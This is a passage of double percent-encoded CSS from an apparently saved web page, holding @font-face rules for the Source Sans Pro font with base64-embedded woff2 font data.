%34%63%25%32%62%25%35%61%25%37%39%25%33%35%25%33%30%25%36%32%25%33%36%25%36%32%25%34%65%25%35%35%25%37%32%25%35%33%25%37%32%25%36%64%25%35%61%25%36%38%25%36%64%25%36%62%25%36%63%25%34%62%25%36%35%25%36%62%25%37%34%25%33%39%25%37%33%25%34%61%25%36%61%25%35%38%25%36%39%25%35%34%25%35%61%25%34%32%25%36%63%25%35%32%25%36%32%25%36%63%25%36%65%25%36%37%25%35%38%25%35%34%25%36%32%25%34%63%25%34%36%25%33%34%25%34%62%25%35%33%25%35%61%25%35%61%25%37%38%25%33%36%25%34%35%25%37%36%25%36%38%25%35%36%25%34%62%25%33%36%25%35%35%25%36%37%25%36%63%25%34%39%25%34%62%25%35%33%25%36%63%25%35%38%25%36%31%25%36%65%25%34%65%25%36%64%25%35%61%25%36%65%25%35%33%25%35%36%25%34%36%25%34%66%25%34%34%25%36%33%25%34%63%25%34%37%25%34%66%25%34%33%25%34%33%25%34%38%25%36%39%25%33%37%25%33%36%25%34%61%25%35%39%25%33%34%25%33%31%25%37%31%25%34%32%25%36%65%25%37%34%25%33%35%25%36%31%25%35%36%25%34%62%25%33%31%25%32%62%25%34%38%25%33%36%25%34%35%25%36%39%25%37%32%25%34%63%25%34%37%25%36%35%25%36%36%25%36%33%25%34%31%25%36%31%25%36%64%25%36%32%25%35%36%25%34%36%25%36%33%25%37%39%25%36%63%25%37%32%25%35%30%25%35%33%25%35%39%25%34%66%25%34%33%25%33%34%25%36%63%25%34%66%25%34%36%25%34%61%25%34%38%25%34%64%25%36%64%25%34%61%25%35%34%25%37%35%25%34%31%25%34%64%25%36%34%25%37%31%25%34%39%25%35%34%25%36%61%25%37%33%25%33%34%25%36%65%25%37%30%25%34%65%25%37%34%25%34%62%25%37%39%25%36%65%25%35%32%25%36%39%25%36%31%25%33%39%25%32%62%25%35%30%25%37%36%25%33%36%25%37%36%25%36%39%25%32%62%25%37%34%25%34%38%25%34%65%25%36%31%25%37%37%25%36%34%25%33%32%25%33%31%25%36%31%25%33%34%25%35%38%25%35%38%25%37%30%25%35%37%25%37%61%25%35%33%25%32%62%25%34%65%25%33%33%25%34%63%25%32%62%25%33%35%25%36%34%25%35%30%25%33%31%25%36%61%25%37%38%25%33%33%25%34%35%25%35%36%25%35%30%25%33%37%25%37%30%25%34%34%25%33%37%25%37%38%25%36%37%25%34%63%25%35%36%25%36%32%25%36%62%25%37%35%25%33%33%25%36%64%25%35%34%25%32%62%25%33%38%25%36%32%25%32%66%25%35%38%25%37%38%25%36%36%25%37%61%25%35%32%25%37%35%25%32%66%25%35%34%25%37%36%25%37%38%25%35%61%25%32%66%25%35%61%25%33%35%25%34%65%25%36%38%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%33%64%25%32%39%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%36%31%25%37%34%25%32%38%25%32%37%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%37%25%32%39%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%35%25%36%65%25%36%39%25%36%33%25%36%66%25%36%34%25%36%35%25%32%64%25%37%32%25%36%31%25%36%65%25%36%37%25%36%35%25%33%61%25%32%30%25%35%35%25%32%62%25%33%31%25%34%36%25%33%30%25%33%30%25%32%64%25%33%31%25%34%36%25%34%36%25%34%36%25%33%62%25%30%64%25%30%61%25%37%64%25%30%64%25%30%61%25%32%66%25%32%61%25%32%30%25%36%37%25%37%32%25%36%35%25%36%35%25%36%62%25%32%30%25%32%61%25%32%66%25%30%64%25%30%61%25%34%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%33%25%36%35%25%32%30%25%37%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%36%36%25%36%31%25%36%64%25%36%39%25%36%63%25%37%39%25%33%61%25%32%30%25%32%37%25%35%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%30%25%35%33%25%36%31%25%36%65%25%37%33%25%32%30%25%35%30%25%37%32%25%36%66%25%32%37%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%33%25%37%34%25%37%39%25%36%63%25%36%35%25%33%61%25%32%30%25%36%65%25%36%66%25%37%32%25%36%64%25%36%31%25%36%63%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%36%36%25%36%66%25%36%65%25%37%34%25%32%64%25%37%37%25%36%35%25%36%39%25%36%37%25%36%38%25%37%34%25%33%61%25%32%30%25%33%34%25%33%30%25%33%30%25%33%62%25%30%64%25%30%61%25%32%30%25%32%30%25%37%33%25%37%32%25%36%33%25%33%61%25%32%30%25%32%66%25%32%61%25%37%33%25%36%31%25%37%36%25%36%35%25%37%30%25%36%31%25%36%37%25%36%35%25%32%64%25%37%35%25%37%32%25%36%63%25%33%64%25%36%38%25%37%34%25%37%34%25%37%30%25%37%33%25%33%61%25%32%66%25%32%66%25%36%36%25%36%66%25%36%65%25%37%34%25%37%33%25%32%65%25%36%37%25%37%33%25%37%34%25%36%31%25%37%34%25%36%39%25%36%33%25%32%65%25%36%33%25%36%66%25%36%64%25%32%66%25%37%33%25%32%66%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%37%33%25%36%31%25%36%65%25%37%33%25%37%30%25%37%32%25%36%66%25%32%66%25%37%36%25%33%31%25%33%34%25%32%66%25%33%36%25%37%38%25%34%62%25%33%33%25%36%34%25%35%33%25%34%32%25%35%39%25%34%62%25%36%33%25%35%33%25%35%36%25%32%64%25%34%63%25%34%33%25%36%66%25%36%35%25%35%31%25%37%31%25%36%36%25%35%38%25%33%31%25%35%32%25%35%39%25%34%66%25%36%66%25%33%33%25%37%31%25%34%66%25%33%36%25%33%37%25%36%63%25%37%31%25%34%34%25%35%39%25%32%65%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%32%61%25%32%66%25%32%30%25%37%35%25%37%32%25%36%63%25%32%38%25%36%34%25%36%31%25%37%34%25%36%31%25%33%61%25%36%36%25%36%66%25%36%65%25%37%34%25%32%66%25%37%37%25%36%66%25%36%36%25%36%36%25%33%32%25%33%62%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%63%25%36%34%25%33%30%25%33%39%25%34%37%25%34%64%25%36%37%25%34%31%25%34%32%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%33%25%34%34%25%33%38%25%34%31%25%34%32%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%35%34%25%34%65%25%36%37%25%34%31%25%34%31%25%34%33%25%34%33%25%36%35%25%34%31%25%34%31%25%34%35%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%31%25%34%37%25%36%66%25%34%35%25%36%31%25%34%37%25%33%35%25%37%38%25%33%32%25%34%38%25%34%34%25%35%39%25%34%37%25%35%39%25%34%31%25%34%33%25%34%36%25%34%37%25%34%31%25%36%37%25%37%31%25%34%33%25%35%39%25%34%61%25%37%61%25%34%35%25%35%31%25%36%37%25%34%62%25%33%33%25%34%31%25%35%34%25%35%32%25%36%35%25%36%37%25%37%35%25%34%32%25%35%37%25%36%37%25%34%31%25%34%32%25%34%65%25%36%37%25%34%39%25%36%62%25%34%31%25%33%34%25%34%64%25%36%66%25%34%32%25%34%33%25%34%31%25%34%36%25%36%38%25%35%34%25%34%39%25%34%38%25%36%38%25%37%61%25%33%30%25%34%64%25%35%36%25%36%38%25%37%36%25%34%34%25%35%32%25%35%34%25%35%36%25%37%33%25%36%64%25%33%30%25%36%32%25%34%65%25%36%66%25%34%34%25%37%33%25%36%37%25%34%38%25%36%31%25%33%32%25%37%35%25%37%30%25%34%32%25%34%61%25%34%36%25%36%36%25%35%32%25%37%31%25%34%64%25%34%61%25%37%32%25%35%30%25%32%66%25%32%66%25%33%34%25%35%31%25%34%35%25%34%66%25%35%39%25%35%39%25%36%62%25%36%66%25%36%35%25%37%33%25%35%32%25%35%36%25%34%37%25%33%33%25%33%33%25%32%62%25%33%32%25%35%35%25%34%35%25%34%35%25%34%37%25%35%36%25%37%38%25%34%66%25%34%61%25%37%37%25%35%35%25%35%30%25%35%32%25%34%61%25%35%30%25%33%30%25%36%63%25%33%35%25%34%61%25%34%32%25%35%32%25%36%63%25%37%32%25%36%31%25%33%34%25%36%35%25%35%61%25%34%33%25%37%32%25%35%30%25%35%33%25%35%36%25%36%34%25%34%37%25%33%37%25%32%62%25%33%34%25%37%38%25%37%37%25%35%34%25%34%38%25%36%64%25%33%38%25%36%38%25%37%35%25%33%36%25%36%66%25%36%31%25%35%36%25%33%31%25%37%61%25%33%39%25%36%39%25%34%31%25%34%66%25%35%39%25%35%36%25%34%39%25%34%39%25%34%33%25%33%37%25%34%63%25%37%35%25%33%39%25%33%35%25%36%31%25%36%37%25%33%35%25%32%66%25%37%61%25%34%37%25%37%31%25%33%36%25%35%39%25%34%33%25%37%32%25%35%33%25%34%66%25%37%36%25%36%62%25%36%65%25%32%62%25%33%38%25%36%38%25%33%33%25%33%34%25%35%33%25%35%38%25%33%33%25%35%31%25%33%36%25%32%66%25%33%31%25%36%61%25%36%36%25%33%31%25%36%64%25%33%37%25%32%62%25%35%33%25%35%32%25%33%35%25%35%38%25%34%32%25%36%37%25%36%65%25%35%38%25%35%61%25%37%36%25%33%30%25%35%31%25%37%35%25%36%66%25%35%32%25%34%61%25%36%33%25%37%31%25%36%66%25%34%35%25%36%32%25%34%35%25%37%32%25%34%64%25%34%32%25%35%36%25%36%34%25%34%32%25%35%61%25%36%39%25%34%32%25%34%39%25%35%32%25%36%64%25%36%33%25%36%64%25%36%35%25%35%37%25%34%39%25%33%37%25%32%62%25%36%36%25%37%32%25%34%37%25%33%38%25%33%36%25%33%35%25%34%38%25%36%31%25%34%66%25%37%39%25%35%34%25%35%38%25%35%30%25%33%39%25%37%32%25%34%63%25%36%36%25%34%63%25%33%39%25%37%30%25%36%64%25%36%62%25%36%31%25%37%38%25%36%66%25%35%35%25%34%63%25%34%64%25%36%37%25%36%64%25%34%61%25%34%66%25%37%35%25%37%61%25%36%62%25%36%32%25%36%63%25%36%38%25%34%37%25%35%32%25%37%31%25%35%61%25%33%38%25%36%61%25%34%34%25%32%62%25%36%35%25%32%66%25%33%33%25%33%36%25%32%66%25%33%33%25%33%38%25%34%63%25%33%38%25%36%36%25%37%33%25%37%38%25%34%33%25%37%33%25%35%32%25%33%30%25%36%31%25%33%34%25%36%39%25%34%37%25%35%33%25%36%31%25%34%35%25%36%64%25%37%33%25%34%32%25%34%35%25%37%30%25%33%39%25%35%31%25%33%30%25%36%62%25%36%65%25%35%39%25%37%30%25%36%64%25%35%31%25%33%36%25%34%31%25%33%38%25%34%33%25%34%32%25%36%63%25%36%34%25%34%65%25%37%34%25%36%34%25%36%35%25%36%35%25%33%35%25%34%61%25%36%35%25%34%32%25%34%32%25%36%65%25%34%32%25%36%32%25%36%37%25%36%35%25%33%36%25%34%66%25%34%66%25%32%66%25%34%38%25%32%62%25%36%39%25%34%39%25%34%37%25%34%35%25%36%37%25%33%32%25%33%31%25%33%30%25%36%35%25%34%35%25%36%37%25%33%34%25%35%39%25%34%37%25%37%38%25%36%62%25%36%61%25%34%34%25%33%36%25%33%30%25%34%63%25%37%61%25%37%32%25%33%39%25%37%31%25%34%35%25%36%31%25%32%66%25%32%62%25%34%66%25%37%38%25%36%35%25%35%37%25%37%34%25%34%66%25%37%32%25%32%66%25%36%32%25%34%64%25%37%34%25%37%35%25%37%37%25%34%35%25%33%36%25%35%36%25%34%39%25%37%30%25%35%39%25%37%35%25%36%33%25%33%32%25%32%62%25%34%64%25%34%35%25%35%37%25%36%39%25%33%35%25%34%34%25%34%63%25%33%36%25%35%30%25%33%35%25%33%33%25%33%36%25%33%37%25%33%32%25%35%34%25%35%61%25%34%39%25%35%33%25%37%39%25%36%61%25%36%33%25%37%35%25%34%39%25%35%31%25%36%64%25%35%35%25%36%38%25%34%32%25%36%62%25%34%37%25%33%31%25%34%36%25%34%66%25%37%30%25%35%30%25%33%38%25%36%32%25%34%62%25%36%64%25%33%30%25%33%39%25%36%65%25%35%35%25%36%61%25%35%37%25%37%36%25%35%61%25%34%66%25%33%36%25%36%34%25%33%37%25%35%38%25%35%61%25%36%35%25%34%37%25%35%61%25%36%62%25%36%36%25%32%66%25%32%66%25%37%35%25%34%66%25%36%35%25%33%33%25%37%61%25%36%65%25%33%34%25%36%62%25%36%65%25%32%66%25%33%31%25%34%34%25%34%35%25%36%64%25%34%33%25%34%31%25%34%36%25%36%39%25%36%34%25%34%65%25%37%61%25%35%33%25%33%31%25%36%33%25%33%33%25%35%31%25%34%63%25%33%34%25%36%32%25%33%34%25%34%31%25%34%32%25%32%66%25%32%66%25%32%66%25%34%65%25%34%34%25%32%66%25%34%33%25%34%31%25%33%38%25%34%37%25%36%38%25%37%35%25%36%66%25%35%31%25%36%34%25%34%62%25%36%66%25%34%31%25%35%33%25%37%61%25%33%35%25%36%61%25%37%30%25%37%33%25%37%30%25%36%61%25%36%35%25%37%38%25%33%32%25%37%39%25%34%65%25%33%32%25%34%65%25%34%31%25%34%62%25%36%63%25%33%37%25%34%33%25%33%30%25%34%35%25%33%33%25%34%32%25%36%37%25%36%36%25%37%30%25%36%61%25%33%33%25%36%38%25%32%62%25%33%36%25%33%37%25%33%39%25%36%63%25%33%30%25%37%37%25%32%66%25%33%35%25%37%32%25%33%34%25%34%62%25%33%38%25%37%38%25%33%32%25%37%38%25%34%39%25%36%37%25%36%36%25%34%63%25%37%38%25%33%32%25%32%62%25%36%32%25%34%34%25%34%33%25%37%39%25%34%33%25%35%38%25%34%37%25%34%38%25%36%35%25%33%32%25%34%39%25%33%35%25%36%34%25%35%39%25%34%36%25%35%31%25%34%31%25%36%64%25%34%39%25%34%31%25%34%31%25%37%38%25%33%36%25%37%34%25%37%61%25%33%32%25%35%39%25%35%33%25%36%61%25%34%31%25%33%31%25%34%37%25%34%39%25%37%34%25%36%31%25%33%33%25%37%34%25%32%66%25%35%33%25%32%66%25%35%36%25%37%39%25%36%38%25%35%33%25%37%36%25%36%64%25%37%61%25%37%39%25%34%33%25%36%34%25%36%32%25%37%37%25%37%31%25%37%61%25%37%34%25%33%33%25%34%61%25%34%37%25%36%31%25%33%34%25%36%36%25%34%37%25%35%36%25%32%66%25%33%35%25%36%61%25%34%62%25%37%61%25%34%61%25%37%33%25%37%33%25%35%61%25%34%38%25%36%62%25%33%30%25%34%31%25%34%34%25%33%36%25%34%32%25%33%32%25%34%31%25%37%37%25%33%37%25%37%35%25%36%39%25%34%37%25%36%31%25%33%36%25%37%38%25%33%35%25%34%38%25%34%39%25%33%39%25%33%39%25%33%38%25%37%61%25%34%64%25%36%65%25%37%33%25%34%64%25%34%31%25%37%33%25%33%34%25%35%35%25%35%61%25%37%39%25%34%38%25%36%63%25%33%33%25%37%38%25%37%36%25%37%30%25%34%39%25%37%61%25%37%35%25%36%35%25%35%38%25%34%62%25%35%38%25%34%66%25%35%32%25%36%37%25%36%62%25%36%61%25%34%62%25%35%31%25%36%66%25%35%37%25%37%30%25%35%31%25%37%30%25%35%37%25%34%33%25%35%36%25%34%35%25%34%35%25%35%39%25%34%62%25%34%39%25%36%38%25%36%62%25%35%61%25%37%32%25%37%30%25%35%39%25%34%33%25%36%33%25%37%33%25%33%30%25%33%33%25%37%61%25%36%38%25%36%66%25%35%31%25%34%33%25%36%65%25%34%65%25%35%33%25%35%35%25%35%32%25%33%35%25%35%38%25%35%36%25%32%66%25%33%33%25%33%31%25%36%34%25%33%34%25%37%35%25%36%33%25%36%34%25%34%31%25%36%32%25%34%34%25%33%30%25%34%61%25%34%37%25%34%61%25%34%35%25%36%39%25%37%37%25%37%37%25%35%37%25%33%34%25%35%38%25%37%33%25%35%61%25%36%62%25%35%31%25%37%37%25%36%61%25%37%36%25%32%66%25%37%32%25%37%35%25%37%35%25%37%38%25%36%34%25%32%66%25%33%39%25%36%36%25%32%62%25%35%61%25%36%33%25%37%36%25%36%34%25%33%39%25%37%31%25%36%38%25%34%34%25%36%39%25%35%39%25%34%64%25%36%37%25%33%33%25%36%65%25%37%32%25%36%36%25%33%34%25%36%37%25%36%37%25%36%37%25%34%31%25%36%33%25%34%31%25%34%31%25%34%36%25%34%65%25%36%61%25%34%66%25%34%61%25%34%61%25%34%39%25%34%33%25%34%39%25%35%37%25%34%33%25%35%35%25%34%62%25%36%62%25%34%39%25%36%61%25%35%39%25%35%39%25%37%37%25%36%64%25%35%31%25%36%39%25%34%63%25%36%38%25%36%32%25%34%33%25%37%61%25%34%39%25%33%31%25%37%38%25%37%37%25%36%37%25%36%32%25%34%31%25%34%36%25%34%38%25%34%31%25%33%36%25%34%37%25%37%38%25%33%38%25%34%66%25%34%39%25%35%32%25%34%31%25%36%39%25%35%36%25%34%33%25%37%34%25%34%37%25%36%65%25%34%34%25%33%32%25%34%63%25%34%31%25%34%31%25%34%64%25%35%33%25%35%39%25%34%64%25%35%39%25%36%37%25%34%61%25%34%35%25%37%38%25%34%31%25%34%32%25%34%31%25%35%39%25%36%39%25%34%39%25%34%33%25%34%64%25%35%33%25%35%35%25%34%62%25%35%61%25%36%38%25%35%61%25%37%33%25%37%61%25%34%32%25%34%63%25%36%63%25%36%39%25%34%32%25%35%37%25%37%32%25%34%35%25%34%31%25%36%37%25%34%31%25%34%38%25%37%34%25%36%64%25%34%66%25%35%34%25%37%38%25%34%36%25%36%39%25%37%39%25%36%34%25%36%64%25%35%39%25%36%33%25%32%62%25%33%37%25%35%36%25%33%37%25%35%35%25%34%39%25%34%61%25%37%61%25%33%34%25%33%36%25%34%37%25%37%37%25%35%37%25%35%31%25%35%30%25%36%38%25%37%33%25%33%35%25%35%61%25%35%32%25%36%61%25%36%63%25%34%31%25%36%33%25%34%31%25%35%39%25%34%31%25%32%66%25%37%38%25%35%35%25%34%65%25%34%32%25%35%35%25%36%32%25%37%61%25%34%36%25%36%36%25%35%31%25%37%30%25%36%63%25%36%64%25%33%31%25%34%34%25%34%38%25%37%33%25%37%35%25%37%38%25%37%37%25%34%31%25%34%33%25%34%62%25%35%30%25%34%39%25%37%38%25%37%61%25%36%35%25%35%31%25%35%37%25%36%63%25%34%65%25%35%35%25%35%37%25%33%38%25%32%66%25%33%30%25%35%37%25%35%30%25%35%61%25%34%63%25%37%33%25%36%33%25%34%35%25%36%61%25%32%66%25%35%38%25%36%32%25%36%32%25%34%34%25%34%39%25%37%33%25%37%61%25%34%31%25%36%36%25%36%31%25%34%63%25%36%34%25%35%37%25%33%34%25%34%62%25%35%31%25%33%33%25%35%34%25%34%33%25%36%32%25%35%30%25%34%31%25%34%34%25%34%65%25%36%63%25%35%37%25%34%37%25%33%36%25%36%64%25%34%62%25%33%33%25%36%64%25%32%62%25%33%33%25%33%30%25%34%66%25%37%38%25%37%36%25%36%33%25%37%39%25%36%37%25%34%65%25%34%34%25%36%61%25%34%37%25%37%35%25%36%39%25%37%61%25%37%38%25%35%33%25%37%38%25%34%32%25%33%34%25%35%32%25%35%38%25%36%65%25%35%35%25%34%38%25%34%34%25%35%61%25%34%63%25%34%65%25%35%39%25%33%32%25%33%38%25%34%31%25%33%31%25%34%32%25%34%34%25%35%61%25%34%34%25%33%30%25%33%39%25%34%32%25%37%37%25%34%64%25%34%39%25%36%31%25%34%62%25%35%39%25%34%64%25%35%31%25%35%30%25%36%61%25%34%64%25%35%33%25%34%31%25%34%32%25%37%39%25%33%31%25%34%64%25%36%64%25%36%65%25%34%32%25%36%39%25%36%38%25%36%38%25%36%65%25%36%34%25%33%32%25%33%39%25%35%37%25%37%39%25%35%30%25%33%32%25%35%61%25%34%32%25%36%65%25%37%35%25%33%38%25%37%37%25%34%65%25%34%66%25%34%64%25%33%34%25%33%38%25%33%37%25%34%66%25%34%61%25%36%36%25%33%37%25%34%38%25%37%32%25%33%36%25%34%34%25%34%38%25%36%34%25%37%39%25%33%30%25%36%33%25%37%39%25%36%36%25%32%62%25%34%62%25%35%39%25%33%33%25%37%32%25%32%62%25%34%66%25%34%64%25%36%38%25%36%37%25%34%33%25%33%33%25%33%36%25%32%66%25%33%35%25%33%30%25%37%37%25%35%32%25%33%35%25%37%31%25%37%61%25%34%65%25%34%31%25%34%38%25%37%32%25%35%32%25%32%62%25%37%37%25%34%38%25%33%34%25%35%39%25%36%66%25%33%39%25%34%36%25%35%30%25%37%39%25%34%33%25%33%31%25%37%36%25%33%38%25%37%33%25%37%34%25%34%32%25%32%66%25%33%35%25%35%35%25%34%63%25%33%33%25%35%38%25%35%34%25%33%35%25%35%37%25%35%33%25%36%65%25%36%38%25%33%31%25%35%61%25%34%32%25%34%66%25%35%35%25%32%62%25%37%32%25%37%61%25%32%66%25%33%32%25%34%37%25%37%38%25%32%62%25%37%37%25%37%61%25%35%36%25%33%37%25%36%63%25%35%34%25%35%36%25%34%35%25%37%33%25%37%30%25%34%63%25%33%30%25%36%39%25%36%39%25%37%32%25%36%61%25%37%35%25%33%31%25%35%33%25%35%33%25%36%32%25%37%38%25%33%31%25%33%39%25%36%38%25%36%63%25%33%36%25%34%65%25%33%30%25%34%36%25%36%33%25%37%36%25%35%32%25%37%37%25%34%34%25%36%61%25%35%32%25%34%66%25%33%30%25%33%30%25%34%33%25%37%35%25%34%36%25%36%64%25%35%37%25%35%38%25%33%33%25%36%35%25%37%33%25%37%38%25%37%33%25%35%36%25%37%38%25%35%32%25%34%37%25%34%66%25%37%31%25%34%31%25%36%38%25%34%37%25%34%65%25%37%33%25%33%30%25%34%37%25%35%39%25%35%38%25%37%36%25%37%38%25%35%36%25%37%35%25%34%38%25%36%63%25%37%30%25%35%35%25%36%61%25%37%61%25%35%35%25%35%35%25%35%37%25%35%32%25%32%66%25%34%62%25%32%62%25%36%65%25%37%38%25%37%39%25%35%35%25%34%61%25%36%33%25%32%62%25%36%66%25%35%61%25%36%34%25%33%37%25%35%31%25%32%66%25%34%62%25%34%39%25%35%31%25%37%30%25%34%62%25%34%32%25%34%62%25%36%62%25%37%30%25%33%36%25%33%36%25%34%61%25%36%62%25%37%35%25%35%61%25%36%65%25%37%34%25%35%37%25%35%33%25%36%66%25%35%61%25%36%39%25%37%31%25%35%35%25%36%66%25%35%32%25%37%61%25%34%63%25%37%38%25%35%38%25%34%62%25%32%62%25%37%33%25%35%35%25%35%38%25%34%62%25%37%35%25%37%61%25%35%37%25%36%39%25%37%32%25%34%36%25%34%64%25%35%37%25%35%61%25%33%35%25%36%36%25%34%33%25%33%31%25%36%39%25%37%36%25%37%36%25%34%39%25%34%35%25%33%38%25%35%34%25%37%34%25%34%62%25%34%63%25%34%33%25%32%62%25%37%37%25%36%32%25%35%35%25%37%39%25%37%38%25%34%66%25%36%36%25%37%36%25%34%61%25%37%36%25%34%36%25%36%34%25%34%32%25%34%61%25%36%65%25%34%64%25%33%31%25%37%61%25%37%37%25%36%34%25%33%30%25%36%62%25%37%37%25%34%65%25%34%32%25%33%38%25%35%30%25%33%39%25%34%65%25%34%31%25%34%63%25%37%61%25%34%38%25%36%37%25%37%31%25%37%37%25%37%61%25%37%30%25%34%37%25%37%38%25%37%30%25%34%38%25%36%33%25%33%35%25%36%34%25%37%38%25%33%32%25%37%37%25%35%34%25%37%39%25%35%34%25%36%61%25%32%66%25%36%64%25%34%36%25%34%36%25%36%36%25%34%63%25%33%37%25%33%35%25%34%37%25%37%34%25%34%36%25%34%64%25%34%32%25%37%33%25%36%65%25%34%64%25%36%38%25%34%61%25%36%65%25%33%38%25%36%62%25%36%39%25%33%38%25%34%33%25%33%30%25%34%65%25%32%66%25%34%66%25%33%36%25%36%65%25%33%38%25%35%36%25%33%30%25%37%35%25%36%34%25%34%64%25%34%62%25%36%64%25%35%31%25%34%36%25%35%61%25%35%31%25%37%34%25%36%32%25%34%35%25%34%63%25%35%38%25%35%39%25%34%36%25%37%37%25%37%34%25%36%62%25%33%37%25%35%31%25%36%39%25%35%30%25%35%33%25%35%38%25%36%61%25%36%37%25%37%30%25%34%63%25%33%38%25%34%38%25%35%33%25%36%36%25%37%30%25%36%65%25%34%34%25%36%31%25%35%36%25%37%38%25%32%62%25%37%31%25%35%37%25%37%33%25%35%61%25%33%34%25%35%35%25%37%30%25%36%31%25%35%32%25%36%35%25%37%30%25%37%33%25%33%31%25%36%36%25%34%38%25%36%37%25%34%31%25%33%36%25%37%32%25%35%33%25%35%38%25%35%30%25%34%31%25%34%33%25%36%64%25%34%62%25%35%30%25%37%32%25%34%34%25%35%33%25%35%38%25%35%39%25%34%66%25%34%33%25%34%65%25%34%64%25%36%62%25%32%66%25%36%63%25%36%34%25%33%37%25%36%37%25%33%32%25%35%36%25%36%31%25%36%34%25%34%65%25%32%66%25%33%38%25%37%35%25%36%61%25%34%61%25%35%39%25%33%33%25%33%39%25%36%34%25%37%38%25%34%63%25%34%38%25%35%32%25%33%39%25%36%38%25%37%31%25%36%61%25%33%38%25%34%65%25%37%35%25%36%35%25%37%39%25%32%62%25%33%39%25%33%36%25%35%33%25%34%36%25%37%30%25%35%30%25%32%66%25%33%34%25%35%36%25%35%38%25%37%34%25%37%61%25%37%61%25%34%66%25%34%64%25%37%31%25%36%31%25%34%39%25%36%38%25%37%32%25%32%62%25%37%37%25%34%38%25%37%33%25%36%34%25%37%39%25%36%31%25%33%30%25%33%32%25%36%38%25%34%66%25%36%38%25%36%32%25%32%66%25%33%34%25%37%31%25%33%34%25%36%35%25%36%35%25%37%38%25%36%37%25%35%36%25%34%65%25%35%39%25%36%32%25%33%38%25%35%34%25%35%38%25%33%34%25%33%35%25%35%38%25%36%34%25%36%31%25%37%36%25%32%66%25%35%61%25%36%32%25%35%37%25%36%36%25%36%36%25%36%65%25%35%34%25%33%33%25%36%62%25%37%30%25%37%37%25%35%30%25%34%39%25%36%62%25%34%63%25%37%38%25%37%61%25%34%31%25%36%34%25%33%35%25%34%39%25%37%30%25%37%35%25%33%36%25%35%36%25%35%36%25%37%32%25%36%61%25%36%61%25%34%34%25%35%37%25%37%31%25%37%35%25%37%38%25%37%36%25%35%33%25%37%61%25%34%61%25%33%31%25%34%36%25%34%62%25%34%62%25%33%33%25%36%63%25%35%30%25%34%66%25%36%64%25%36%36%25%35%33%25%33%36%25%36%39%25%36%39%25%36%38%25%37%37%25%36%65%25%32%66%25%32%62%25%34%35%25%37%33%25%33%33%25%34%63%25%33%37%25%35%35%25%37%30%25%33%37%25%35%61%25%37%30%25%36%35%25%36%39%25%33%33%25%32%62%25%34%34%25%37%33%25%36%65%25%34%63%25%33%34%25%36%62%25%36%64%25%32%62%25%37%32%25%33%39%25%35%33%25%34%37%25%37%39%25%36%64%25%34%66%25%36%32%25%34%64%25%37%37%25%37%33%25%35%36%25%33%39%25%36%34%25%34%32%25%32%62%25%35%38%25%33%30%25%37%33%25%34%38%25%36%63%25%33%35%25%33%32%25%34%37%25%33%33%25%36%64%25%34%61%25%36%64%25%33%36%25%36%62%25%34%34%25%36%63%25%34%36%25%36%33%25%33%32%25%36%34%25%34%65%25%34%34%25%35%30%25%36%35%25%34%37%25%32%62%25%37%31%25%36%63%25%33%36%25%34%61%25%37%33%25%34%65%25%32%62%25%37%61%25%36%31%25%35%61%25%34%34%25%33%39%25%36%65%25%37%38%25%34%39%25%35%39%25%33%32%25%36%36%25%32%66%25%32%62%25%36%32%25%35%35%25%37%32%25%36%62%25%37%33%25%34%36%25%34%37%25%37%38%25%34%61%25%33%30%25%33%34%25%33%32%25%36%64%25%36%64%25%36%36%25%33%38%25%32%62%25%37%37%25%36%61%25%33%32%25%37%30%25%37%39%25%34%64%25%33%33%25%34%36%25%34%35%25%34%61%25%35%36%25%34%33%25%36%35%25%33%33%25%37%38%25%35%32%25%34%66%25%35%61%25%36%38%25%35%61%25%34%34%25%37%37%25%36%35%25%35%38%25%33%37%25%33%36%25%37%33%25%36%65%25%34%63%25%33%31%25%32%66%25%34%39%25%36%33%25%34%38%25%34%37%25%37%33%25%36%32%25%37%39%25%35%34%25%33%38%25%33%30%25%34%39%25%36%64%25%36%61%25%36%63%25%34%62%25%35%35%25%35%33%25%35%36%25%33%32%25%34%66%25%33%33%25%33%37%25%34%62%25%33%30%25%33%39%25%33%34%25%32%62%25%37%36%25%37%36%25%32%66%25%34%32%25%36%61%25%36%65%25%33%33%25%37%38%25%37%33%25%37%34%25%37%37%25%36%66%25%37%33%25%34%38%25%35%37%25%37%30%25%37%31%25%34%61%25%33%36%25%33%39%25%37%33%25%34%32%25%37%30%25%34%65%25%35%37%25%36%61%25%37%36%25%36%63%25%36%35%25%33%36%25%35%37%25%35%39%25%33%34%25%37%37%25%37%39%25%34%61%25%37%61%25%35%34%25%35%31%25%37%30%25%33%34%25%36%37%25%36%66%25%36%34%25%36%39%25%35%35%25%35%32%25%36%35%25%35%61%25%36%62%25%34%32%25%34%66%25%33%38%25%37%33%25%37%34%25%35%35%25%34%39%25%33%30%25%36%37%25%33%39%25%34%64%25%34%61%25%36%64%25%37%38%25%35%31%25%34%61%25%35%35%25%37%32%25%34%66%25%32%66%25%33%33%25%36%38%25%36%35%25%34%34%25%37%31%25%34%66%25%36%64%25%36%37%25%36%31%25%37%39%25%35%30%25%36%31%25%37%35%25%37%32%25%33%35%25%34%61%25%34%38%25%33%30%25%37%61%25%33%39%25%34%37%25%34%32%25%36%33%25%34%34%25%35%33%25%34%64%25%32%62%25%36%64%25%37%35%25%37%32%25